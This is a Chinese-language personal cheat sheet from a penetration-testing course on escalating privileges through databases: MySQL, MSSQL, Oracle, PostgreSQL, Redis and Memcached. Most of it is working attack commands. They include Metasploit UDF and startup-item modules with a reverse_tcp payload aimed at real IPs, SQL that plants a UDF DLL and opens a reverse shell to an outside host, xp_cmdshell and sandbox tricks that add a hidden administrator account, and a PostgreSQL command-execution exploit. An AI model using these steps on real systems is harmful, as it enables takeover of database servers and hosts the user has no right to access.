数据库提权小结
最近重新学了一下xiaodi的提权课程,总结总结
Raven2靶机可以打一打 用到了udf 然后工具打的话用到了 隧道转发技术
数据库帐号密码获取方式
0、网站存在高权限SQL注入点 sqlmap 注入的 --sql-shell 模式
1、数据库的存储文件或备份文件
2、网站应用源码中的数据库配置文件
3、采用工具或脚本爆破(需解决外联问题)
工具
在mysql不支持外连的情况下 都可以代理连接 工具几个数据库都可以利用
MDUT
https://github.com/SafeGroceryStore/MDUT
RequestTemplate
https://github.com/1n7erface/RequestTemplate
以下是手工的方法 在小迪22讲的 但是实战一般都是用工具
MYSQL
提权条件
MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
技术:UDF MOF 启动项 反弹Shell
mysql => root 默认端口3306 默认不支持外连 GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;
1、UDF
自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。
获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续
1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出安装目录/lib/plugin/
获取版本 安装目录 看看有没有plugin
select version() select @@basedir
没有目录采用手工创建plugin目录或利用NTFS流创建
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
开启外连 GRANT ALL PRIVILEGES ON . TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

MSF:(前提先开外连)
(不需要考虑版本 )
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
产生了个文件

Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看

create function sys_eval returns string soname "HArprLGO.dll"; //创建函数绑定dll 执行后续命令 (默认创建的sys_exec 无回显)
select sys_eval("whoami"); //调用函数进行命令执行
2、MOF-Win2008后权限控制导致无效-MSF演示 (用不到了
https://www.cnblogs.com/xishaonian/p/6384535.html
MSF:use exploit/windows/mysql/mysql_mof
3、启动项 鸡肋
但是要重启服务器才可与。。
MSF:(前提先开外连)
``use exploit/windows/mysql/mysql_start_up`
set rhosts 192.168.3.25
set username root
set password 123456
run

4、反弹Shell
0x01 介绍
Mysql反弹shell提权,也是属于udf提权,只不过应用场景不同,例如没有得到webshell,但是获得了Mysql的root密码,恰好目标的数据库可以外连,那么就可以先将udf.dll文件的内容先插入到数据表中,然后再导出到’lib/plugin’
https://blog.csdn.net/weixin_43801718/article/details/105493042
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //这个路径。。
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788);
sqlserver
提权条件
MSSQL:.NET+MSSQL 以web入口提权 1433 默认支持外连
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒
开外连 命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
参考资料:https://blog.51cto.com/11797152/2411770
1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
3.使用SQL Server 沙盒提权
以上两个用不了
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
Oracle
提权条件
Oracle:(站库分离,非JSP,直接数据库到系统等)1521
条件:数据库用户密码
技术:DBA,普通用户,注入模式
开外连
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP
工具
项目 https://github.com/jas502n/oracleshell
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:(Sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
sqlmap语句
--dbs 查询当前用户下的所有数据库
--is-dba:当前用户是否为管理权限
PostgreSQL 5432
Web到系统
条件:数据库用户密码
技术:CVE-2019-9193 UDF libc
就是用工具梭哈了
复现镜像:
https://market.aliyun.com/products/56024006/cmjj016247.html
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
Redis 6379
也是直接用工具
数据库到Linux
条件:利用未授权或密码连接后执行
见第78天课程内容-只适用Linux
技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行
复现搭建:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
/redis-server
Memcached 11211
数据库到Linux
条件:设置远程可访问或取得本地权限后访问
是一套常用的key-value缓存系统,由于它本身没有权限控制模块,
服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。 是通过这里面的信息再进一步提权
复现镜像:
https://market.aliyun.com/products/56024006/cmjj017529.html
案例参考:
https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg
开启命令:
systemctl start memcached.service
关闭命令:
systemctl stop memcached.service
查看状态:
systemctl status memcached.service
